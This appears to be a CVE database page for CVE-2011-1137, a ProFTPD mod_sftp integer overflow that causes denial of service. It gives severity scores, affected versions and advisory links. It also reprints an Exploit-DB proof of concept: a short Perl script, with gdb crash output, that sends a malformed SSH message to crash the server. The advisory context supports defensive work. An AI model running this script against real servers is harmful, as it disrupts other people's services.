CVE-2011-1137 : Detail

CVE-2011-1137

8.02%V3
Network
2011-03-11
16h00 +00:00
2011-04-21
07h00 +00:00
CVE.org
NVD
Notifications for a CVE
Stay informed of any changes for a specific CVE.
Notifications manage

CVE Descriptions

Integer overflow in the mod_sftp (aka SFTP) module in ProFTPD 1.3.3d and earlier allows remote attackers to cause a denial of service (memory consumption leading to OOM kill) via a malformed SSH message.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-189 Category : Numeric Errors
Weaknesses in this category are related to improper calculation or conversion of numbers.

Metrics

Metrics Score Severity CVSS Vector Source
V2 5 AV:N/AC:L/Au:N/C:N/I:N/A:P [email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
EPSS First.org

Exploit information

Exploit Database EDB-ID : 16129

Publication date : 2011-02-06 23h00 +00:00
Author : kingcope
EDB Verified : No

#ProFTPD mod_sftp Integer Overflow #by Kingcope #reference: http://www.castaglia.org/proftpd/modules/mod_sftp.html # Exploit Title: ProFTPD mod_sftp Integer Overflow # Date: 7 February 2011 # Author: Kingcope # Software Link: http://www.castaglia.org/proftpd/modules/mod_sftp.html # Tested on: Centos 5.5 #Program received signal SIGSEGV, Segmentation fault. #0x00391577 in memset () from /lib/libc.so.6 #(gdb) i r #eax 0x0 0 #ecx 0x203fffef 541065199 #edx 0x1 1 #ebx 0x80ffffbd -2130706499 #esp 0xbfcfd088 0xbfcfd088 #ebp 0xbfcfd0a8 0xbfcfd0a8 #esi 0x0 0 #edi 0x0 0 #eip 0x391577 0x391577 <memset+55> #eflags 0x210202 [ IF RF ID ] #cs 0x73 115 #ss 0x7b 123 #ds 0x7b 123 #es 0x7b 123 #fs 0x0 0 #gs 0x33 51 #(gdb) x/10i $eip #0x391577 <memset+55>: rep stos %eax,%es:(%edi) #0x391579 <memset+57>: mov %edx,%ecx #0x39157b <memset+59>: rep stos %al,%es:(%edi) #0x39157d <memset+61>: mov 0x8(%esp),%eax #0x391581 <memset+65>: pop %edi #0x391582 <memset+66>: ret #0x391583: nop #0x391584: nop #0x391585: nop #0x391586: nop use IO::Socket; $|=1; $pl = "\x53\x53\x48\x2D\x32\x2E\x30\x2D\x31\x2E\x32\x37\x20\x73\x73\x68\x6C\x69\x62\x3A\x20\x57\x69\x6E\x53\x53". "\x48\x44\x20\x33\x2E\x30\x35\x0D\x0A\x80\xff\xff\xff" . "AAAAAAAAAA"; my $sock = IO::Socket::INET->new(PeerAddr => "192.168.2.5", PeerPort => '21', Proto => 'tcp'); read($sock, $xp, 10); #$x = <stdin>; print $sock $pl; exit;

Products Mentioned

Configuraton 0

Proftpd>>Proftpd >> Version To (including) 1.3.3

Proftpd>>Proftpd >> Version 1.2.0

Proftpd>>Proftpd >> Version 1.2.0

Proftpd>>Proftpd >> Version 1.2.0

Proftpd>>Proftpd >> Version 1.2.0

Proftpd>>Proftpd >> Version 1.2.0

Proftpd>>Proftpd >> Version 1.2.0

Proftpd>>Proftpd >> Version 1.2.1

Proftpd>>Proftpd >> Version 1.2.2

Proftpd>>Proftpd >> Version 1.2.2

Proftpd>>Proftpd >> Version 1.2.2

Proftpd>>Proftpd >> Version 1.2.2

Proftpd>>Proftpd >> Version 1.2.3

Proftpd>>Proftpd >> Version 1.2.4

Proftpd>>Proftpd >> Version 1.2.5

Proftpd>>Proftpd >> Version 1.2.5

Proftpd>>Proftpd >> Version 1.2.5

Proftpd>>Proftpd >> Version 1.2.5

Proftpd>>Proftpd >> Version 1.2.6

Proftpd>>Proftpd >> Version 1.2.6

Proftpd>>Proftpd >> Version 1.2.6

Proftpd>>Proftpd >> Version 1.2.7

Proftpd>>Proftpd >> Version 1.2.7

Proftpd>>Proftpd >> Version 1.2.7

Proftpd>>Proftpd >> Version 1.2.7

Proftpd>>Proftpd >> Version 1.2.8

Proftpd>>Proftpd >> Version 1.2.8

Proftpd>>Proftpd >> Version 1.2.8

Proftpd>>Proftpd >> Version 1.2.9

Proftpd>>Proftpd >> Version 1.2.9

Proftpd>>Proftpd >> Version 1.2.9

Proftpd>>Proftpd >> Version 1.2.9

Proftpd>>Proftpd >> Version 1.2.10

Proftpd>>Proftpd >> Version 1.2.10

Proftpd>>Proftpd >> Version 1.2.10

Proftpd>>Proftpd >> Version 1.2.10

Proftpd>>Proftpd >> Version 1.3.0

Proftpd>>Proftpd >> Version 1.3.0

Proftpd>>Proftpd >> Version 1.3.0

Proftpd>>Proftpd >> Version 1.3.0

Proftpd>>Proftpd >> Version 1.3.0

Proftpd>>Proftpd >> Version 1.3.0

Proftpd>>Proftpd >> Version 1.3.0

Proftpd>>Proftpd >> Version 1.3.1

Proftpd>>Proftpd >> Version 1.3.1

Proftpd>>Proftpd >> Version 1.3.1

Proftpd>>Proftpd >> Version 1.3.1

Proftpd>>Proftpd >> Version 1.3.2

Proftpd>>Proftpd >> Version 1.3.2

Proftpd>>Proftpd >> Version 1.3.2

Proftpd>>Proftpd >> Version 1.3.2

Proftpd>>Proftpd >> Version 1.3.2

Proftpd>>Proftpd >> Version 1.3.2

Proftpd>>Proftpd >> Version 1.3.2

Proftpd>>Proftpd >> Version 1.3.2

Proftpd>>Proftpd >> Version 1.3.2

Proftpd>>Proftpd >> Version 1.3.2

Proftpd>>Proftpd >> Version 1.3.3

Proftpd>>Proftpd >> Version 1.3.3

Proftpd>>Proftpd >> Version 1.3.3

Proftpd>>Proftpd >> Version 1.3.3

Proftpd>>Proftpd >> Version 1.3.3

Proftpd>>Proftpd >> Version 1.3.3

Proftpd>>Proftpd >> Version 1.3.3

Proftpd>>Proftpd >> Version 1.3.3

References

http://www.exploit-db.com/exploits/16129/
Tags : exploit, x_refsource_EXPLOIT-DB
http://secunia.com/advisories/43978
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.vupen.com/english/advisories/2011/0857
Tags : vdb-entry, x_refsource_VUPEN
http://www.securityfocus.com/bid/46183
Tags : vdb-entry, x_refsource_BID
http://www.debian.org/security/2011/dsa-2185
Tags : vendor-advisory, x_refsource_DEBIAN
http://www.vupen.com/english/advisories/2011/0617
Tags : vdb-entry, x_refsource_VUPEN
http://secunia.com/advisories/43234
Tags : third-party-advisory, x_refsource_SECUNIA
http://secunia.com/advisories/43635
Tags : third-party-advisory, x_refsource_SECUNIA